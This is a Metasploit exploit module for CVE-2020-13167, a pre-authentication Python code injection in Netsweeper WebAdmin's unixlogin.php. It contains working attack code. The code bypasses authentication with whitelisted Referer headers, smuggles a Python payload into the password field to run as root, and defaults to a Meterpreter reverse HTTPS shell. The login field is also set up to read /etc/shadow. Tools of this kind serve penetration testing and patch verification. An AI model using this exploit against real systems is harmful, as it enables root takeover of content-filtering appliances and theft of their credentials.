##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Netsweeper WebAdmin unixlogin.php Python Code Injection',
        'Description' => %q{
          This module exploits a Python code injection in the Netsweeper
          WebAdmin component's unixlogin.php script, for versions 6.4.4 and
          prior, to execute code as the root user.

          Authentication is bypassed by sending a random whitelisted Referer
          header in each request.

          Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs.
          Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has
          been confirmed exploitable.
        },
        'Author' => [
          # Reported to SSD (SecuriTeam) by an anonymous researcher
          # Example exploit written by said anonymous researcher
          # Publicly disclosed by Noam Rathaus of SSD (SecuriTeam)
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-13167'],
          ['URL', 'https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/'],
          ['URL', 'https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says']
        ],
        'DisclosureDate' => '2020-04-28', # SSD (SecuriTeam) advisory
        'License' => MSF_LICENSE,
        'Platform' => 'python',
        'Arch' => ARCH_PYTHON,
        'Privileged' => true,
        'Targets' => [['Python', {}]],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'PAYLOAD' => 'python/meterpreter/reverse_https'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path,
                             '/webadmin/tools/systemstatus_remote.php'),
      'headers' => {
        'Referer' => rand_referer(:check) # Auth bypass via Referer header
      }
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    unless res.code == 200
      return CheckCode::Unknown('Target is not running Netsweeper.')
    end

    if res.body.include?('Permission Denied: Unauthorized access.')
      return CheckCode::Safe('Target has rejected our Referer auth bypass.')
    end

    # Example version information from /webadmin/tools/systemstatus_remote.php:
    #   Version: 6.4.3
    #   Build Date: 2020-03-27 14:15:19
    #   Database Version: 139
    unless (version = res.body.scan(/^Version: ([\d.]+)$/).flatten.first)
      return CheckCode::Detected(
        'Target did not respond with Netsweeper version.'
      )
    end

    if Rex::Version.new(version) <= Rex::Version.new('6.4.4')
      return CheckCode::Appears(
        "Netsweeper #{version} is a vulnerable version."
      )
    end

    CheckCode::Safe("Netsweeper #{version} is NOT a vulnerable version.")
  end

  def exploit
    referer = rand_referer(:exploit)
    vprint_status("Selecting random whitelisted Referer header: #{referer}")
    vprint_status("Injecting Python code into password field: #{fake_password}")

    normie_uri = normalize_uri(target_uri.path, '/webadmin/tools/unixlogin.php')
    print_status("Sending #{datastore['PAYLOAD']} to #{full_uri(normie_uri)}")

    # The application may block on the payload, so time out reasonably soon
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normie_uri,
      'headers' => {
        'Referer' => referer
      },
      'vars_post' => {
        'login' => '.', # Bypass user check by injecting `grep . /etc/shadow'
        'password' => fake_password
      }
    }, 3.5)

    return unless res

    # An unexpected reply typically means some sort of error, so print it out
    fail_with(Failure::UnexpectedReply, res.body)
  end

  def fake_password
    return @fake_password if @fake_password

    # Arguments for crypt.crypt(): https://docs.python.org/2/library/crypt.html
    word = rand_text_alphanumeric(8..42)
    salt = rand_text_alphanumeric(2) # This is DES-safe because we remove algo

    # Python code injection occurs in the $2 positional parameter from sh(1):
    #   password=$($PYTHON -c "import crypt; print crypt.crypt('$2', '\$$algo\$$salt\$')")
    @fake_password = "#{word}', '#{salt}'); #{payload.encoded} #"
  end

  # Select a random Referer [sic] header value from an appropriate whitelist
  def rand_referer(method = :check)
    case method
    when :check
      %w[
        webadmin/admin/systemstatus_inc_data.php
        webadmin/api/
        webadmin/common/systemstatus_overview_ajax.php
      ].sample
    when :exploit
      %w[
        systemconfig/edit_database_settings.php
        systemconfig/edit_file.php
        systemconfig/manage_certs.php
        webadmin/admin/service_manager_data.php
        webadmin/api/
        webadmin/systemconfig/edit_email_sending_settings.php
        webadmin/systemconfig/grant_db_access.php
      ].sample
    else
      fail_with(Failure::BadConfig,
                "I don't know how to #{method}, but I do know how to love")
    end
  end

end
